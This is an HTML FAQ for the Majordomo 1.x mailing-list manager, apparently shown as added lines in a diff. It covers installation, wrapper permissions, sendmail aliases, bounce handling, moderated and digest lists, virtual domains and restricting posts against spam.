+ +Majordomo comes with a rather extensive INSTALL file. Read this file +completely. There's also a README file which covers some common +problems. This FAQ is meant to be a supplement to Majordomo's +documentation, not a replacement for it. If you have any questions +that this FAQ doesn't cover, chances are that it is covered in +the documentation in the Majordomo distribution. +For anyone who is going to run a list, you must read Doc/list-owner-info +before trying to do anything. If you don't have access to the +system where your list is being run, the Majordomo maintainer who +set up your list should have sent it to you. Bug him if he didn't, or +download it from the Majordomo distribution. +

+If you have permission problems unpacking the distribution, +try using the 'o' flag to tar to ignore user/group information.

+ +Although Majordomo is written in Perl, it does have one component +written in C that must be compiled. This 'wrapper' program runs +"setuid" and ensures that all Majordomo functions operate with the +proper permissions. You will need root access to install this program +with the correct privileges.

+ +Majordomo interfaces to the mail system (sendmail, exim, etc) +through aliases. Adding aliases is generally a root-bound process. +However, on some systems the process can be delegated to a separate +file under your control.

+ +Once you get past the above two requirements, it is possible to +maintain Majordomo lists without root access. At best, your local +sysadmin would only be bothered twice -- once for the +installation, and once for designating a separate alias file for +your use.

+ +Majordomo 1.x is designed to work with +sendmail, however will work +with other UNIX-based mailers. For more information on setting up +Majordomo with other mailers, see the following pages: + +

+ +

1.4 - How do I upgrade from an earlier release?

+ +Be sure to browse the "Changelog" file to get an idea +what has changed. There currently is no canned set of instructions for +upgrading from an earlier release. The most straightforward method is +to simply install the current release in a different directory, (with +the same list/archive/digest directories) and change the mail aliases +for each list to use the new Majordomo scripts as soon as you feel +comfortable with the new setup.

+ +Be careful when upgrading to 1.94 that you update your $mailer and +$bounce_mailer variables in your majordomo.cf! There are some +other new variables too. You may want to update the list .config +files so they contain any new variables found in the new release. +You just need to do a 'writeconfig' for each list, and majordomo +will update the .config file using the existing values in the old +.config file. Any new variables will be set to defaults for a new list. +

+ + +

1.5 - Where do I report bugs or get help with Majordomo?

+Please DO NOT ask the FAQ maintainer for help on Majordomo. I will +accidentally delete your message. I'm sorry, I don't have time to do +consulting on Majordomo. I am not a Majordomo help service. I, +along with many others, do answer questions on the mailing lists. +Let me say that about 90% +of the answers I get are from the documentation or this FAQ. Many +of the rest are answered by reading the source. It's really not that +hard to figure out. The remainder of the questions I get are usually +sendmail questions, which really should be asked in +comp.mail.sendmail.

+ +If you need help, there is a mailing list +majordomo-users@greatcircle.com, which is frequented by lots of users +of Majordomo. Report actual bugs to majordomo-workers@greatcircle.com. +It's a good idea to search or browse the list archives below for the last +couple months since many of the same questions are asked (and answered) +regularly. There are searchable list archives (thanks to +Jason Tibbitts) at +http://www.hpc.uh.edu/majordomo-users/ and +http://www.hpc.uh.edu/majordomo-workers/. +

+Be sure always to include which version of Majordomo you are using. +You should also include what +operating system you are using, what version of Perl, and what mailer +(sendmail, smail, qmail, etc) and version you are using, especially if you +can't get Majordomo to work at all. But first, you must have +thoroughly read the ALL the documentation in the Majordomo distribution +and this FAQ. If you got this FAQ from the Majordomo distribution +or anywhere except from the WWW site at the top of this document +it is probably not the most recent version. +

+There is an FTP site for unofficial patches. +See http://sol.ccsf.cc.ca.us/ftp/majordomo-patches/ . +What's in it? Messages that are saved from the majordomo-users and +-workers mailing lists. There are INDEX +files in each part with one-line summaries of each patch, and a README +file in the top directory with overall information. +If you have patches that you think should be +in the archive, you can FTP or email them in. The top-level README file +tells how to do it. Please contribute -- to save other people the headaches +you had. NOTE: The patches are NOT "official" patches approved by Chan Wilson +or anyone else. Use your own judgment before (and after) you apply them. +

+Nick Perry also has various patches for 1.94.3 at +ftp://ftp.amulation.co.uk/pub/majordomo_patches/. They are patches which add various functions +to majordomo. +

+Do NOT ask questions about +Majordomo on the list-managers@greatcircle.com list. That list is for general +discussions about running mailing lists, not for help on specific +packages. The same goes for the Usenet group comp.mail.list-admin.policy. +

+There is a good guide for people running majordomo lists at +http://docuspace.uchicago.edu/dpc/general/g_maj-adm.html.

+ +Look for a great book out now from O'Reilly +and Associates called "Managing Mailing Lists", by Alan Schwartz. +You can read my review of the book at +http://www.visi.com/~barr/managing-maillist-review.html. I was +one of the book's technical reviewers. +You can order the book at a discount (currently 20%) from +amazon.com +via the web: +

+Besides getting you the book at a discounted price, using this link earns +Great Circle Associates a small commission, which helps pay for their support of +the majordomo and list-managers mailing lists, as well as distributing majordomo +on their FTP site. +

+ +

1.6 - Which is better, Majordomo or LISTSERV?

+ +For a good comparison of various mailing list managers (MLM's) +there's a good FAQ by Norm Aleks. It is posted monthly to +news.answers and comp.mail.list-admin.software. It's +also mirrored at the following URL. + +http://www.faqs.org/faqs/mail/list-admin/software-faq. + +Contact naleks@library.ummed.edu (Norm Aleks) for more information.

+ + +

1.7 - How can I access Majordomo via the Web?

+There are various Web interfaces to Majordomo available. Some are +management interfaces for list maintenance, and some are interfaces +for list archives (some do searching too). + +

+

1.8 - Is Majordomo Y2K (Year 2000) compliant?

+ +The current release of Majordomo has no known year 2000 issues. Older +versions had problems only if you used the "archive" program to maintain +list archives, since it used only a 2-digit year. If you use the new +4-digit year flags to archive you should not have any year 2000 problems. +

+No one has officially certified Majordomo to be Y2K compliant, and I +don't foresee anyone paying money to do so, so don't go looking for someone +to sue if it breaks. All we are saying is that we know of no year 2000 +issues with Majordomo. +

+That being said, as you can see by reading the Majordomo source, except +for the "archive" program majordomo doesn't directly deal with dates +so it's extremely unlikely there are any year 2000 issues. Even +places where it does use dates (archive) it doesn't do any date comparisons, +which is the crux of all non-cosmetic year 2000 bugs. At worst "archive" +would overwrite your 100-year-old mailing list archives. I really +really doubt Majordomo will still be used for 100 years.

+ +


+

Section 2: Problems setting up Majordomo

+ +

2.1 - What are the proper permissions and ownership of all Majordomo files and directories?

+ +By far the biggest problem in setting up Majordomo is getting all the +permissions and ownerships right. In part this is due to the security +model that Majordomo uses, and it's also due to the fact that it's hard +to automate this process. Once you install majordomo, run "./wrapper config-test" as some other user (like you) and read the results. Do NOT +run "./wrapper config-test" as 'root' or your 'majordom' user. That will +defeat the test of the wrapper operation. The config-test script will +check your installation for correct permissions (as well as other tests) +and report any problems. It's not quite perfect, but it catches 95% +of all problems.

+ +Majordomo works by using a small C "wrapper" which works by allowing +it to always run as the "majordom" user and group that you +create. (note that the wrapper may disappear in a future release, +since its function could safely be replaced by features found in Perl +5) You can use a different name than "majordom" for your user and +group, but that is what is assumed for the explanations found in this +document. The 1.94.3 INSTALL file suggests using 'daemon' as your +majordomo group. This is the group that 'sendmail' runs as, and allows +you to have $homedir permissions set to 750. This has the disadvantage +in environments where there may be one or more administrators of +the Majordomo system or where you don't want to always have to +'su' to the majordomo user to do administration. (you don't really +want to put other normal users in the 'daemon' group for security reasons) +If you create a separate 'majordom' group and add yourself and other majordomo +administrators to it, then you'll need to make sure the $homedir and +wrapper have world execute permission, and you may have to add 'majordom' +to the 'trusted' list of users in your sendmail.cf. (otherwise sendmail 8.x +will probably give "X-Authentication-Warning:"'s)

+ +Because Majordomo does not run with any "special" (root) +privileges, and because of the fact that Majordomo does a lot of +.lock-style locking (with shlock.pl), permissions on all files and +directories are critical to the correct operation of Majordomo.

+ +

The wrapper

+The wrapper is compiled in one of two ways, by uncommenting the correct +section in the Makefile for your type of system. If you are unsure if +your system is POSIX or not, I would suggest you assume that your system +is not. (The default is POSIX) If things don't work right (for +example you get symptoms of permission problems or you get an error +from the wrapper saying to recompile using POSIX flags), then +try POSIX.

+ +Some systems which are non-POSIX: SunOS 4.x, Ultrix, most BSD 4.2 and 4.3-based +systems. POSIX systems include: Solaris 2.x, IRIX 5.x, BSDI +(and other 4.4 BSD-based systems), Linux.

+ +Make sure W_PATH is right in the Makefile. On IRIX 5.x, you need to +add /usr/bsd to the W_PATH to get the +hostname (needed by Perl) command. (IRIX doesn't have a +/usr/ucb). + +If you are on a non-POSIX system, the wrapper must be both suid and +sgid (mode 6755) to "majordom". It must not be setuid root! +

+OR +

+On a POSIX system the wrapper must be setuid root, and double-check +that W_USER and W_GROUP are the uid and gid of the "majordom" user and +group. Don't ever set W_USER to be 0!

+ +Then compile the wrapper and install it. Do not install the wrapper on +an NFS filesystem mounted with the "nosuid" option set. This will prevent the +wrapper from working. + +

Majordomo files

+All files that majordomo creates will be mode 660, user "majordom", +group "majordom" if it is running correctly (see $config_umask in +the majordomo.cf). The "Log" file that +Majordomo writes logging information to must have this same permission +and ownership. Make sure any files you create by hand (.config, +subscription lists) have this same permission and ownership. (they can +also be mode 664 if you don't need the contents to be private to +others) The permissions/ownership of the Majordomo programs and +related files themselves aren't as critical, but the must all be +readable to the "majordom" user/group. All Majordomo programs +(majordomo, resend, etc.) must have the execute bit set. All Majordomo +programs must have the correct path to Perl in the #! line in the +beginning of the script. The 'make install' process should do this +all automatically for you. + +

Majordomo directories

+All directories under Majordomo's control ($homedir, $listdir, +$digest_work_dir, $filedir, as defined in your majordomo.cf) +must be at least mode 750 (or 755 if you don't use "daemon" as your majordomo +group -- see 2.3below.). They should be user and group +owned by "majordom". If want to allow a local user to be able to +directly modify files or for example copy files into a list's +archive directory, you may make the directory or file owned +by that user. However directories and files must be +then group-"majordom" writable (770 or 775).

+ +

2.2 - I get a MAJORDOMO ABORT with "chown(...): Not owner" or ".. Operation not permitted"

+Most likely your wrapper is not installed correctly. Re-check the +Makefile and see if the wrapper was compiled with the right UID and +GID. See the README and the above section on how +to set the permissions correctly. Make sure after you fix the wrapper +that you remove (or rename) any "listname.new" or "L.listname" files found +in your lists directory. These will likely have the wrong ownerships, and +cause you problems.

+You should have seen an error if you ran "./wrapper config-test" as a +non-root, non-majordom user. If not, +it's a bug in config-test and should be fixed. + +

2.3 - I get "sh: wrapper: cannot execute" or "wrapper: permission denied"

+This is a bug in the 1.94 Makefile. You'll see this in new installs of +Majordomo if you don't use a majordomo group of 'daemon'. The +majordomo $homedir needs to have permission of at least 751 (or 755), +not 750. Otherwise, sendmail won't have permission to execute the wrapper. +You'll need to do a 'chmod 755 $homedir' after you install majordomo. +Make sure 'wrapper' also has world execute permission. Some people +also have put the user 'daemon' in the 'majordom' group. This works too. + +

2.4 - I get "Unknown mailer error" when majordomo runs

+First, see Question 4.13 if you are running +RedHat 5.2 and are getting "Unknown mailer error 9".

+ +If something is wrong with your setup, the wrapper will often exit +with various return codes depending on what the problem is. In order +to really understand what is going on, look at the session transcript +further down in the bounce message to see the error which is returned +from the wrapper or from Majordomo. You should usually see some sort +of error message. If you just get a return code, check the Majordomo +README for further explanation on sendmail return codes. If you get +"Unknown mailer error XX" where XX is less than 255, look for the +error in /usr/include/errno.h . Otherwise, see the README.

+ +See section 1.1 above for what versions of +Perl won't work with Majordomo.

+ +[reported by Russell Street]
+You may also get problems when messages to majordomo are queued (for +example if you change sendmail's behavior to always queue messages +rather than perform immediate delivery). The problem was that if +sendmail queues a message it smashes the case in command lines and +addresses when the queue gets processed. This is in spite of the lines +shown by mailq. This is sendmail 5.x on Solaris 2.3, but it might +apply to other versions of sendmail. + +

2.5 - I get an error "insecure usage" from the wrapper

+The argument to "wrapper" should be simply be the command, not +the full path to the command. "wrapper" has where to look +compiled in to it (the "W_HOME" setting in the +Makefile) and for security reasons will not let you specify another +directory. +

+Your alias should say for example: +

+ +majordomo: |"/path/to/majordomo/wrapper majordomo" + +

+ +

2.6 - I get "majordomo: No such file or directory" from the wrapper

+Make sure that the #! statement at the beginning of all the Majordomo +Perl executables contain the correct path to the perl program (the +default is /usr/local/bin/perl). Note many UNIXes have a 32 +character limit on that path -- make sure it doesn't exceed this +limit. Make sure also that majordomo and all the +related scripts are in the W_HOME directory as defined in the Makefile +when you compiled the wrapper.

+ + +

2.7 - I get an error "Can't locate majordomo.pl"

+[from Brent Chapman]
+Majordomo adds "$homedir" from the majordomo.cf file to the @INC array +before it goes looking for "majordomo.pl". Since it's not finding it, +I'd guess you have one of two problems: +

+1) $homedir is set improperly (or not set at all; there is no default) +in your majordomo.cf file. +

+2) majordomo.pl is not in $homedir, or is not readable. +

+[from John P. Rouillard]
+3) Note that the new majordomo.cf file checks to see if the environment +variable $HOME is set first, and uses that for $homedir. Since the +wrapper always sets HOME to the correct directory, you get a nice +default, unless you are running a previously built wrapper, in which +case you may get the wrong directory. +

+[from Andreas Fenner]
+4) I had the same problem when I installed majordomo (1.62). +My Problem was a missing ";" in the majordomo.cf file - just in the line +before setting homedir .... +My hint for you: Check your perl-files carefully. +

+ + +

2.8 - I told my majordomo.cf where to archive the list, why isn't it working?

+[From John Rouillard]
+The archive variables in majordomo.cf aren't used to archive anything. +You have to use a separate archive program, or a sendmail alias to do +the archiving. The info is used to generate a directory where the +archive files are being placed by some other mechanism. +

+You are telling majordomo to look in the directory: + + /usr/local/mail/majordomo/archive/listname +

+for files that it should allow to be retrieved using the get command. +

+Majordomo comes with three different archive programs that run under +wrapper that do various types of archiving. Look in the contrib +directory. +

+ +

2.9 - config-test can't seem to find ctime.pl or resend can't find getopts.pl

+ctime.pl and getopts.pl are included in the standard Perl distribution. +If it can't find it, it means Perl was not installed correctly. Re-install +Perl. (you may want to take the opportunity to upgrade Perl, too) + +

2.10 - A list is visible via lists, but can't subscribe or 'get' files

+[From Brent Chapman]
+I'll bet your list name has capital letters in it... Majordomo +smashes all list names to all-lower-case before attempting to use the +list name as part of a filename. So, while it's OK to advertise (for +instance) "Majordomo-Users" and have the headers say +"Majordomo-Users", the file names and archive directory names themselves +all need to be in lower case. If you want to use mixed case, simply +configure the list using the lower-case names everywhere, except +put the mixed-case version in the "-l" and "-h" flags to resend.

+ +

2.11 - I get "sh: wrapper not available for sendmail programs"

+You're on a system which uses smrsh. (sendmail restricted shell). You have +to configure smrsh to allow it to execute the wrapper. Normally this +is done by creating a symlink in /var/adm/sm.bin (in some it's /etc/smrsh) to Majordomo's wrapper program.

+

2.12 - I get "aliasing/forwarding loop broken"

+[ Reported by Wade Williams ]
+Some people have noted sendmail will generate a bounce message if you send +to a list, but the list file is empty (there are no subscribers). Add a +subscriber to the list and the error should go away. +

+You will also get this error if the permissions on the list file for that +list in the lists directory are too strict. If the list directory or list +file is not readable by sendmail, you will also get the error "Cannot open +/path/to/lists/listname: Permission denied". See Section +2.1 above for the full discussion of how to correctly set permissions +on directories and files within Majordomo.

+

+


+

+

Section 3: Setting up mailing lists and aliases

+ +

3.1 - How do I direct bounces to the right address?

+You should use 'resend' to filter all messages. Make sure the "sender" +variable in the list config file points to "owner-listname" and that you have +defined the "owner-listname" alias to point to the owner of the list. +

+What this does is force outgoing mail to have the out-of-band envelope +FROM be "owner-listname", and thus all bounces will be +redirected to that address. (This address is what gets copied into the +message body as the "From " or "Return-Path:" header). 'resend' also +inserts a "Sender:" line with the same address to help people identify +where it came from, but that header is not used in the bounce process. +

+If you are using sendmail v8.x, you don't have to use 'resend' to +do the same thing. You simply have to define an alias like this: +

+owner-sample: joe, +

+Note the trailing comma is necessary to prevent sendmail from resolving +the alias first before putting it in the header. Without the comma, it +will put "joe" in the envelope from instead of "owner-sample". Either +address will work, of course, but the generic address is preferred +should the owner ever change. +

+However if you choose not to use 'resend', you will have to do without +most of majordomo's other features like moderating, administrivia +checks, and others. +

+ +

3.2 - Semi-automated handling of bounced mail

+This is not true automation of bounced mail. What this does is the +next best thing. You unsubscribe the user from the list, but add the +user to a special 'bounces' list (there's a perl script +in the distribution called bounce you run to make this easier) +The majordomo maintainer then runs (out of cron) the 'bounce-remind' +script periodically, which sends mail to all the people on the bounces +list, saying essentially "you were removed from list 'foo' because +mail to you bounced. To subscribe yourself back to the list, send +the following commands ...". There's no facility yet for trimming +the bounces list, but it's easy to write one because the date the +person was added to the bounces list is included (so you could write +a perl script which removes anyone on the list for more than one week, +assuming you run bounce-remind more than once a week). There's +no facility for automatically detecting what addresses are failing. +You have to determine that based on the bounce messages you receive +from other sites.

+ +[From John Rouillard]
+Just create a mailing list called "bounces". I usually set mine up as +an auto list just to make life easier. +

+All that "bounce" script does is create an email message to majordomo that +says: +

+   approve [passwd] unsubscribe [listname] [address]
+   approve [passwd] subscribe bounces [address]
+
+The [address] and [listname], are given on the command line to +bounce. The address of the majordomo, and the passwords are +retrieved from the .majordomo file in your home directory. +

+A sample .majordomo file might look like (shamelessly stolen from the +comments at the top of the bounce script): +

+   this-list       passwd1         Majordomo@This.COM
+   other-list      passwd2         Majordomo@Other.COM
+   bounces         passwd3         Majordomo@This.COM
+   bounces         passwd4         Majordomo@Other.COM
+
+ +A command of "bounce this-list user@fubar.com" will mail the +following message to Majordomo@This.COM: +
+   approve passwd1 unsubscribe this-list user@fubar.com
+   approve passwd3 subscribe bounces user@fubar.com (930401 this-list)
+
+while a command of "bounce other-list user@fubar.com" will mail the +following message to Majordomo@Other.COM: +
+   approve passwd2 unsubscribe other-list user@fubar.com
+   approve passwd4 subscribe bounces user@fubar.com (930401 this-list)
+
+Note that the date and the list the user was bounced from are included +as a comment in the address used for the "subscribe bounces" command. +

+ + +

3.3 - What's this Owner-List and List-Owner stuff? Why both?

+[From David Barr]
+The "standard" is spelled out in +RFC 1211 - "Problems +with the Maintenance of Large Mailing Lists". +

+It's here where the "owner-listname" and "listname-request" concepts +got their start. (well it was before this, but this is where it was +first spelled out) +

+Personally, I don't use "listname-owner" anywhere. You don't really +have to put both, since the "owner" alias is usually only for bounces, +which you add automatically anyway with resend's "-f" flag, or having +Sendmail v8.x's "owner-listname" alias. +

+(while I'm on the subject) +The "-approval" is a Majordomo-ism, and is only necessary if you want +bounces and approval notices to go to different mailboxes. (though +you'll have to edit some code in majordomo and request-answer if +you want to get rid of the -approval alias, since it's currently +hardwired in) +

+So, to answer your question, I'd say "no". You don't have to have both. +You should just have "owner-list". +

+ + +

3.4 - How should I configure resend for Reply-To headers?

+ +Whether you should have a "Reply-To:" or not depends on the charter of +your list and the nature of its users. If the list is a discussion +list and you generally want replies to go back to the list, you +can include one. Some people don't like being told what to do, +and prefer to be able to choose whether to send a private reply +or a reply to the list just by using the right function on their +mail agent. Take note that if you do use a "Reply-To:", then some +mail agents make it much harder for a person on the list to send a +private reply. The most important reason why Reply-To: to the list +is bad is that it can cause mail loops if any of the members of +your list are running fairly-common but broken software which +doesn't know what an envelope address is. (Many Microsoft products, +as well as many other PC-based non-SMTP/Internet mail systems which +work through an SMTP gateway.) +

+You should read the following FAQ on why you shouldn't set the Reply-To: field. +http://www.unicom.com/pw/reply-to-harmful.html +

+If you are using resend, use the 'reply_to' configuration variable +in the list .config file. +

+ + +

3.5 - How can I hide lists so they can't be viewed by 'lists'?

+That is what advertise and noadvertise are for. These two variables take +regular expressions that are matched against the from address of the +sender. A list display follows the rules: +

+

    +
  1. If the from address is on the list, it is shown. + +
  2. If the from address matches a regexp in noadvertise (e.g. /.*/) the list + is not shown. + +
  3. If the advertise list is empty, the list is shown unless 2 applies. + +
  4. If the advertise list is non-empty, the from address must match + an address in advertise. Otherwise the list is not shown. Rule 2 + applies, so you could allow all hosts in umb.edu except hosts in + cs.umb.edu. +
+

+ +

3.6 - How can I restrict a list such that only subscribers can send mail to the list?

+See the restrict_post variable in the config file. Just set it +to the filename that holds the list of subscribers, which is just simply +the name of the list. ("restrict-post = listname"). + +However, there is an issue to keep in mind. Majordomo +works by filtering the messages coming in through the "listname" alias, +doing its dirty work, then passing the resulting message out to another +alias you define like "listname-outgoing". If you trust people to not +send mail directly to the "listname-outgoing" alias, then you'll be +fine. If however you're not trusting, there are several steps to +make sure people don't bypass the restrictions of the list.

+ +There are several methods. First you need to change your +"listname-outgoing" alias such that it is not obvious. (That means +don't use something easy to guess like "-outgoing" or "-list"). +Next, you need to make it such that people can't find out what +your -outgoing alias is.

+ +You can use the "@filename" directive of resend. Put the all the +normal command-line options of resend into a file readable only by the +majordomo user/group. Then the alias for the list simply becomes +".../resend @/path/to/filename". This will make it such that you can't +find out the -outgoing address by connecting to your mailer and doing an +EXPN or +VRFY. The "@filename" directive seems to have fallen into undocumentation +for some reason. This should be fixed in future releases. This +doesn't prevent a user reading the local /etc/aliases file (if they can), +however. +

+ +Another approach is to simply disable EXPN or VRFY altogether. See the +documentation for your mailer on how to do this. In sendmail this is +done by adding "noexpn" to the "O PrivacyOptions=" line in your +sendmail.cf (multiple options are separated with a comma). However +this doesn't prevent a local user reading the aliases file. This isn't +generally a problem if your mail server is restricted to staff only +users.

+ +Unfortunately, Sendmail 8.x will log your -outgoing alias in the +"Received:" lines. To prevent this you need to specify more than +one address for the list name argument to resend. (for example +"mylist:|"/usr/local/lib/majordomo/wrapper resend -h foo.org -l +mylist mylist-seekrit,nobody"" where nobody is an alias for +/dev/null) For Sendmail 8.x you must not +define an alias 'owner-mylist-seekrit' to be something like +'owner-mylist,' (with the comma). Otherwise sendmail will set the +envelope address of outgoing mail to contain your secret outgoing +alias. Again if you're using the @filename directive, the entire +command line is simply put into the specified file (starting with +"-h foo.org ...".

+ +Here's another creative idea from matt@primefactor.com (Matt Perry):

+I've had a report that this no longer works with sendmail 8.9.1

+Sendmail allows you to rewrite incoming and outgoing addresses. The one +that handles incoming is virtualusertable.text. For a list called test +with the test-outgoing alias, I put the following into my +virtualusertable.text file and remade the db with the appropriate command:

+ +

+test-outgoing@mydomain.com      error:nouser User unknown
+
+ +Sendmail can still get to the alias and expand it into the list of +recipients. However, any mail that appears at port 25 marked for +test-outgoing@mydomain.com will bounce back with "User unknown".

+ + +Finally it should be noted that it is impossible with any of these methods +above to prevent people from forging mail as someone who is subscribed to the +list, and sending to the list that way. Of course a spammer can also subscribe +to the list legitimately and then send spam. The restrict_post option +blocks the vast majority of problems, however.

+ +

3.7 - Can I have the list owner or approval person be changeable + without intervention from the Majordomo owner?

+Sure! Just make owner-listname and/or listname-approval be +another majordomo list. (probably hidden, for simplicity's sake) +

+ + +

3.8 - What are all these different passwords?

+Think of three separate passwords: +
    +
  1. A master password that can be used by both resend and majordomo + contained in [listname].passwd. To be used by the master list + manager when using writeconfig commands etc. This allows someone + who handles a number of mailing lists all using the same password. + This is also a "backup password" in case the .config file gets corrupted. + +
  2. A password for the manager of this one list. The admin_passwd can be + used by subsidiary majordomo list maintainers. + +
  3. A password for those concerned with the list content (approve_passwd) +
+This way the administration and moderation functions can be split. The +original reason for maintaining [listname].passwd was to allow a new +config file to be put in if the config file was trashed and the +admin_password was obliterated, and may still be useful to allow a +single password to be used for admin functions by the majordomo admin +or some other "superadmin".

+ +Note that the admin passwd in the config file is not a file name, +but the password itself. This is the only way that the list-maintainer +could change the password since they wouldn't have access to the file. +

+ + +

3.9 - How do I tell majordomo to handle "get"-ing of binary files?

+Majordomo is not designed to be a general-purpose file-by-mail system. +If you want to do anything more than trivial "get"-ing of text files +(archives, etc) than you should get and install ftpmail. Majordomo has +hooks to allow transparent access to files via ftpmail (see majordomo.cf). +See the beginning of this FAQ for where to get ftpmail. +

+ +

3.10 - How do I set up a moderated list? How do I approve messages?

+First, you need to tell Majordomo that the list is moderated. In +the configuration file for the list, you set "moderate = yes". +Do not try to use the now-deprecated "-A" option to resend. In fact +you shouldn't be using ANY options to resend except "-h" and "-l", since +all the others are handled in the config file.

+ +Any mail which is not "approved", gets bounced with "Approval required". +If the moderator wishes to approve the message for the list, then +you need to tag the message as "approved" and send it to the list. +The "approve" script, which comes with Majordomo, automates this for you. +Whenever you get a message which needs approval, from your mail reader +pipe the message through "approve". The password for each list needs +to be put in your .majordomo file. Read the "approve" script for +more information.

+ +If you don't have access to "approve" (e.g. you're not on a UNIX +system with Perl), you have to do it by hand. The easiest +way is to forward the original message to the list, +add the line "Approved: approval-password" to the +very first line of the body, and then the +entire contents of the original message. (meaning there should not +be a blank line before and after the "Approved:" line.). Don't +forget to edit out the headers which were added by the bounce process.

+ +For example:

+

+To: your-list@example.com
+Subject: doesn't matter
+
+Approved: your-approval-password
+Received: by some.site.org....
+Received: by another.site.org....
+From: joe@another.com (Joe User)
+Subject: this list is great!
+To: your-list@example.com
+
+Hey, this list is great, and the moderator sure is sexy!
+
+Joe
+
+

+It's also possible, if your mailer allows it, to approve a message another +way by just inserting an Approved: header in the original body and passing +the original message on without adding your own header. This is in a sense +"forging" mail, so many mailers either won't allow it or will insert some +sort of authentication warning. This form is used most often by moderators +when they send mail to the list and don't want to go and approve +their own message again. Here's an example: + +

+To: your-list@example.com
+Approved: your-approval-password
+Subject: Thanks!
+
+I like this list too, but sorry, I'm married!  :-)
+
+-- your moderator
+
+

+Note that this requires a mail-user-agent (MUA) that allows one to add +headers to a message. If your MUA doesn't let you do this, you'll need +to use the first method.

+ +Note that in either case the "Approved:" line will be stripped out +by Majordomo before it gets sent to the list, so the list members won't +see your list password. +

+ + +

3.11 - How do I set up a digested version of a list?

+[ Modified from explanation given by jmb@kryten.atinc.com (Jonathan M. Bresler)] +
    +
  • Create aliases for the mailing list and the digest. See section +2.2 of the README for an example. +
  • create an alias for the majordom(o) user, so that his cron +generated mail comes to me, rather than just piling up +in /usr/local/mail/majordom. + +
  • create the list's and the digest's files, (widget, widget-digest, +widget.config, widget-digest.config, etc.). Edit the +widget-digest.config file and make sure all the digest options are set +to your tastes. + +
  • create the digest directory and archive directory. See FAQ section 2 on how to set permissions on all +majordomo files and directories. You must have archives if you have +digests so the digester can make the digest. You can purge the archive +after the digest is generated. + +
  • Add yourself to both the mailing list and its digest so you can +monitor what happens...at least for a while (not a bad idea to create a +dummy user, and subscribe him to both the mailing list and its digest. +This preserves a record of messages for debugging. Don't forget to +remove this account and unsubscribe it after debugging.) + +
  • Optionally you may use cron to send a mkdigest to push out a digest +at set intervals regardless of the number of queued messages. See the +question Why aren't my digests going out?". +
+ +

3.12 - How do I setup virtual majordomo domains?

+[From Alan Millar, et. al.]
+ +Set up a majordomo.cf file for each virtual domain, defining +$whereami as appropriate. Use your mailer's virtual domain stuff to +get to it, making an alias for it if necessary.

+ +For sendmail, be sure to check out http://www.sendmail.org/virtual-hosting.html first.

+ +Alias entry:

+

+  majordomo-domain2: |"/your/wrapper majordomo -C /your/domain2.cf"
+
+ +Virtual domain stuff (in your virtusertable):

+ +

+  majordomo@domain2         majordomo-domain2
+  majordomo-owner@domain2   whoever
+
+ +I use the sendmail virtual domain examples right off the +Sendmail FAQ. Works for me.

+ +You'll need to modify request-answer slightly if you want the virtual +host to be used there in replies. Look for: +

+From: $list-request
+
+in the source and change it to: +
+From: $list-request\@$whereami
+
+Don't forget to use the -C option to request-answer for your virtual aliases.

+ +Check out http://o2.towery.com/~ernestm/admin/majordomo/majorvirt.html also for +good instructions on configuring virtual domains with Majordomo.

+ +

3.13 - How can I stop people from using my mailing list to spam my subscribers?

+[From mcr@solidum.com (Michael Richardson) ]
+There are two approaches to solving spam. They are complementary.

+ + The most general solution is to make sure that your list host will not +accept spam. See http://spam.abuse.net/ +for extensive recipes on this.

+ + The majordomo specific way is to use the "restrict_post" mechanism to +disallow posts from addresses that are not on the list. Please see +section 3.6 for some of the pitfalls of using +restrict_post. They all +apply. My experience is that spammers have not yet learnt about the +"-outgoing" alias, and the techniques in section 3.6 would apply when they +do.

+ The major objection to using restrict_post to deflect spam is that it +may deflect posts from legitimate people -- people who've subscribed +with one address but are posting from another address. It may also +restrict cross-posts from other lists, or from people who read the list +via news.

+ + The solution to the above objections is twofold: +

    +
  1. the moderator must forward legitimate posts. This can be + a pain, but it does work. +
  2. the restrict_post header can be extended. + + + The typical way to do #2 is to set restrict_post to: +
    +mylist:mylist-nomail
    +
    + + Then, create a configuration file and password for "mylist-nomail", but +DO NOT create any aliases. (If you use something like mj_build_aliases, then +don't set the owner)

    + + The moderator, or subscribers may then subscribe themselves to this second +list. Subscribers to the -nomail list will then be allowed to post to the +first list, but won't receive duplicate copies of the first list.

    +


    +

    +

    Section 4: Mailer and list administration problems

    + +

    4.1 - Address with blanks are being treated separately

    +If a subscriber to the list is
    +John Doe < jdoe@node.com> +

    +it gets treated these as the three addresses:
    +John
    +Doe
    +< jdoe@node.com>

    + +[From Alan Millar]
    +Majordomo does not treat these as three addresses. Apparently +your mailer does. +

    +Remember that all Majordomo does is add and remove addresses from +a list. Majordomo does not interpret the contents of the list +for message distribution; the system mailer (such as sendmail) does. +

    +I'm using SMail3 instead of sendmail, and it has an alternative (read +"stupid") view of how mixed angle-bracketed and non-angle-bracketed +addresses should be interpreted. I found that putting a comma at the +end of each line was effective to fix the problem, and I got to keep +my comments. So I patched Majordomo to add the comma at the end +of each address it writes to the list file. +

    +You can also change to "strip = yes" in the config file so that none of the +addresses are angle-bracketed. +

    + + +

    4.2 - Why aren't my digests going out?

    +[from John Rouillard]
    + +
    +  echo mkdigest [digest-name] [digest-password] | mail majordomo@...
    +
    +This will force a digest to be created. Or you can set the max size in +the digest list config file down low, and force automatic +generation.

    + +

    4.3 - Why do I get duplicate mail sent to the list?

    + +If you're running MMDF, read on: [From Gunther Anderson]
    +Well, I can tell you what happened to me recently. We use MMDF here, +which certainly colors the picture a little. What was happening here was +that MMDF was verifying the validity of the whole mailing list before +returning from the Submit call. The thing calling the Submit would time +out and close, but the Submit itself would still be running somewhere. +The calling routine would believe that the message had failed in its +delivery, but the Submit would eventually succeed. The calling process +would try again some time later. This, of course, is bad. The larger +the list got, the more addresses there were to verify (verification was +really just a DNS search on the target machine name), the more likely, +under load, that the message would duplicate. We finally got so large, +with so many international addresses (which seem to timeout on DNS +queries much more often than US addresses) that we were always +duplicating. Infinitely (until I killed the original submitter). +

    +The solution for us was MMDF-specific. We used a different channel for +submission and delivery, one which deliberately doesn't verify the +addresses before accepting a job. We used the list-processor channel, +and only had to check that the listname-request name was set properly, +because list-processor insists on making listname-request the envelope +"From " header name.

    + +If you're running Sendmail, this is more rare. There have been +unconfirmed reports that on some systems having the queue process +interval set too short can cause problems, even though sendmail is +supposed to handle this. Workarounds are to increase your +queue process interval (-q flag), or decrease the interval +between queue checkpoints (OC flag in sendmail.cf).

